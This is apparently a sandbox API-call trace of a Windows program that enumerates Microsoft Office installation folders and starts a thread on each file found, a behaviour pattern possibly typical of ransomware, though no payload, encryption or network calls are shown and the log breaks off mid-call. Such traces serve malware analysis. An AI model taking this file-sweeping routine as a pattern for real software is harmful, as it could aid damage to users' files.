wcscat (in: _Dest=0x1cddce10, _Source="MSSP7ES.LEX" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.LEX") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.LEX" [0158.794] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddce10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb34 [0158.795] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e19c200, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa471a100, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e19c200, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x1ee380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7FR.DLL", cAlternateFileName="")) returned 1 [0158.795] wcscmp (_String1="MSSP7FR.DLL", _String2=".") returned 1 [0158.795] wcscmp (_String1="MSSP7FR.DLL", _String2="..") returned 1 [0158.795] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bfdd00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa4c28fc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x41bfdd00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7FR.dub", cAlternateFileName="")) returned 1 [0158.795] wcscmp (_String1="MSSP7FR.dub", _String2=".") returned 1 [0158.795] wcscmp (_String1="MSSP7FR.dub", _String2="..") returned 1 [0158.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cddcea0 [0158.795] wcscpy (in: _Dest=0x1cddcea0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" [0158.795] wcscat (in: _Dest=0x1cddcea0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\" [0158.795] wcscat (in: _Dest=0x1cddcea0, _Source="MSSP7FR.dub" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.dub") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.dub" [0158.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddcea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd94 [0158.796] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42f10a00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa45e9600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x42f10a00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x1b1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7FR.LEX", cAlternateFileName="")) returned 1 [0158.796] wcscmp (_String1="MSSP7FR.LEX", _String2=".") returned 1 [0158.796] wcscmp (_String1="MSSP7FR.LEX", _String2="..") returned 1 [0158.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cddcf30 [0158.796] wcscpy (in: _Dest=0x1cddcf30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" [0158.796] wcscat (in: _Dest=0x1cddcf30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\" [0158.796] wcscat (in: _Dest=0x1cddcf30, _Source="MSSP7FR.LEX" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.LEX") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7FR.LEX" [0158.796] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddcf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f4 [0158.797] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a36d00, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa2176520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56a36d00, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x6ef80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTH7EN.DLL", cAlternateFileName="")) returned 1 [0158.797] wcscmp (_String1="MSTH7EN.DLL", _String2=".") returned 1 [0158.797] wcscmp (_String1="MSTH7EN.DLL", _String2="..") returned 1 [0158.797] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa395100, ftCreationTime.dwHighDateTime=0x1cba071, ftLastAccessTime.dwLowDateTime=0xa21503c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfa395100, ftLastWriteTime.dwHighDateTime=0x1cba071, nFileSizeHigh=0x0, nFileSizeLow=0x40de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTH7EN.LEX", cAlternateFileName="")) returned 1 [0158.797] wcscmp (_String1="MSTH7EN.LEX", _String2=".") returned 1 [0158.797] wcscmp (_String1="MSTH7EN.LEX", _String2="..") returned 1 [0158.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cddcfc0 [0158.798] wcscpy (in: _Dest=0x1cddcfc0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" [0158.798] wcscat (in: _Dest=0x1cddcfc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\" [0158.798] wcscat (in: _Dest=0x1cddcfc0, _Source="MSTH7EN.LEX" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7EN.LEX") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7EN.LEX" [0158.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddcfc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x131c [0158.799] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64f18900, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x64f18900, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x6ef80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTH7ES.DLL", cAlternateFileName="")) returned 1 [0158.799] wcscmp (_String1="MSTH7ES.DLL", _String2=".") returned 1 [0158.799] wcscmp (_String1="MSTH7ES.DLL", _String2="..") returned 1 [0158.799] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2918c00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6f45440, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2918c00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x5b3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTH7ES.LEX", cAlternateFileName="")) returned 1 [0158.799] wcscmp (_String1="MSTH7ES.LEX", _String2=".") returned 1 [0158.799] wcscmp (_String1="MSTH7ES.LEX", _String2="..") returned 1 [0158.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cddd050 [0158.799] wcscpy (in: _Dest=0x1cddd050, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" [0158.799] wcscat (in: _Dest=0x1cddd050, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\" [0158.799] wcscat (in: _Dest=0x1cddd050, _Source="MSTH7ES.LEX" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7ES.LEX") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7ES.LEX" [0158.799] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddd050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1320 [0158.800] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4474ff00, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa4824aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4474ff00, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x6ef80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTH7FR.DLL", cAlternateFileName="")) returned 1 [0158.800] wcscmp (_String1="MSTH7FR.DLL", _String2=".") returned 1 [0158.800] wcscmp (_String1="MSTH7FR.DLL", _String2="..") returned 1 [0158.800] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb6a7e00, ftCreationTime.dwHighDateTime=0x1cba071, ftLastAccessTime.dwLowDateTime=0xa47fe940, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfb6a7e00, ftLastWriteTime.dwHighDateTime=0x1cba071, nFileSizeHigh=0x0, nFileSizeLow=0xc6aa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTH7FR.LEX", cAlternateFileName="")) returned 1 [0158.800] wcscmp (_String1="MSTH7FR.LEX", _String2=".") returned 1 [0158.800] wcscmp (_String1="MSTH7FR.LEX", _String2="..") returned 1 [0158.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cddd0e0 [0158.801] wcscpy (in: _Dest=0x1cddd0e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" [0158.801] wcscat (in: _Dest=0x1cddd0e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\" [0158.801] wcscat (in: _Dest=0x1cddd0e0, _Source="MSTH7FR.LEX" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7FR.LEX") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSTH7FR.LEX" [0158.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddd0e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x908 [0158.801] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb6a7e00, ftCreationTime.dwHighDateTime=0x1cba071, ftLastAccessTime.dwLowDateTime=0xa47fe940, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfb6a7e00, ftLastWriteTime.dwHighDateTime=0x1cba071, nFileSizeHigh=0x0, nFileSizeLow=0xc6aa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTH7FR.LEX", cAlternateFileName="")) returned 0 [0158.801] FindClose (in: hFindFile=0x1ced5c20 | out: hFindFile=0x1ced5c20) returned 1 [0158.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e470) returned 1 [0158.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9400) returned 1 [0158.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a31f0) returned 1 Thread: id = 2550 os_tid = 0x2044 [0155.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1ced98d0 [0155.431] wcscpy (in: _Dest=0x1ced98d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" [0155.431] wcscat (in: _Dest=0x1ced98d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\" [0155.431] wcscat (in: _Dest=0x1ced98d0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\*" [0155.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e200 [0155.432] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\*", lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5bc0 [0155.434] wcscmp (_String1=".", _String2=".") returned 0 [0155.434] FindNextFileW (in: hFindFile=0x1ced5bc0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.434] wcscmp (_String1="..", _String2=".") returned 1 [0155.434] wcscmp (_String1="..", _String2="..") returned 0 [0155.434] FindNextFileW (in: hFindFile=0x1ced5bc0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xca60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB10.BDR", cAlternateFileName="")) returned 1 [0155.434] wcscmp (_String1="MSPUB10.BDR", _String2=".") returned 1 [0155.434] wcscmp (_String1="MSPUB10.BDR", _String2="..") returned 1 [0155.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1ced2da0 [0155.434] wcscpy (in: _Dest=0x1ced2da0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" [0155.434] wcscat (in: _Dest=0x1ced2da0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\" [0155.434] wcscat (in: _Dest=0x1ced2da0, _Source="MSPUB10.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB10.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB10.BDR" [0158.411] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced2da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcf4 [0158.411] FindNextFileW (in: hFindFile=0x1ced5bc0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0x69e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB11.BDR", cAlternateFileName="")) returned 1 [0158.411] wcscmp (_String1="MSPUB11.BDR", _String2=".") returned 1 [0158.411] wcscmp (_String1="MSPUB11.BDR", _String2="..") returned 1 [0158.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1ceb7270 [0158.411] wcscpy (in: _Dest=0x1ceb7270, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" [0158.411] wcscat (in: _Dest=0x1ceb7270, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\" [0158.412] wcscat (in: _Dest=0x1ceb7270, _Source="MSPUB11.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB11.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB11.BDR" [0158.412] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb7270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcf8 [0158.413] FindNextFileW (in: hFindFile=0x1ced5bc0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xf254, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB1A.BDR", cAlternateFileName="")) returned 1 [0158.413] wcscmp (_String1="MSPUB1A.BDR", _String2=".") returned 1 [0158.413] wcscmp (_String1="MSPUB1A.BDR", _String2="..") returned 1 [0158.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1ceb7300 [0158.413] wcscpy (in: _Dest=0x1ceb7300, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" [0158.413] wcscat (in: _Dest=0x1ceb7300, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\" [0158.413] wcscat (in: _Dest=0x1ceb7300, _Source="MSPUB1A.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB1A.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB1A.BDR" [0158.413] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb7300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf04 [0158.414] FindNextFileW (in: hFindFile=0x1ced5bc0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB1B.BDR", cAlternateFileName="")) returned 1 [0158.414] wcscmp (_String1="MSPUB1B.BDR", _String2=".") returned 1 [0158.414] wcscmp (_String1="MSPUB1B.BDR", _String2="..") returned 1 [0158.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1ceb7390 [0158.414] wcscpy (in: _Dest=0x1ceb7390, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" [0158.415] wcscat (in: _Dest=0x1ceb7390, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\" [0158.415] wcscat (in: _Dest=0x1ceb7390, _Source="MSPUB1B.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB1B.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB1B.BDR" [0158.415] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb7390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf08 [0158.416] FindNextFileW (in: hFindFile=0x1ced5bc0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xc8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB2A.BDR", cAlternateFileName="")) returned 1 [0158.416] wcscmp (_String1="MSPUB2A.BDR", _String2=".") returned 1 [0158.416] wcscmp (_String1="MSPUB2A.BDR", _String2="..") returned 1 [0158.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1ceb7420 [0158.416] wcscpy (in: _Dest=0x1ceb7420, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" [0158.416] wcscat (in: _Dest=0x1ceb7420, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\" [0158.416] wcscat (in: _Dest=0x1ceb7420, _Source="MSPUB2A.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB2A.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB2A.BDR" [0158.416] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb7420, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf0c [0158.417] FindNextFileW (in: hFindFile=0x1ced5bc0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB2B.BDR", cAlternateFileName="")) returned 1 [0158.417] wcscmp (_String1="MSPUB2B.BDR", _String2=".") returned 1 [0158.417] wcscmp (_String1="MSPUB2B.BDR", _String2="..") returned 1 [0158.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1ceb74b0 [0158.418] wcscpy (in: _Dest=0x1ceb74b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" [0158.418] wcscat (in: _Dest=0x1ceb74b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\" [0158.418] wcscat (in: _Dest=0x1ceb74b0, _Source="MSPUB2B.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB2B.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB2B.BDR" [0158.418] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb74b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf10 [0158.419] FindNextFileW (in: hFindFile=0x1ced5bc0, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xde58, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB3A.BDR", cAlternateFileName="")) returned 1 [0158.419] wcscmp (_String1="MSPUB3A.BDR", _String2=".") returned 1 [0158.419] wcscmp (_String1="MSPUB3A.BDR", _String2="..") returned 1 [0158.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1ceb7540 [0158.419] wcscpy (in: _Dest=0x1ceb7540, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" [0158.419] wcscat (in: _Dest=0x1ceb7540, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\" [0158.419] wcscat (in: _Dest=0x1ceb7540, _Source="MSPUB3A.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB3A.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB3A.BDR" [0158.419] CreateThread 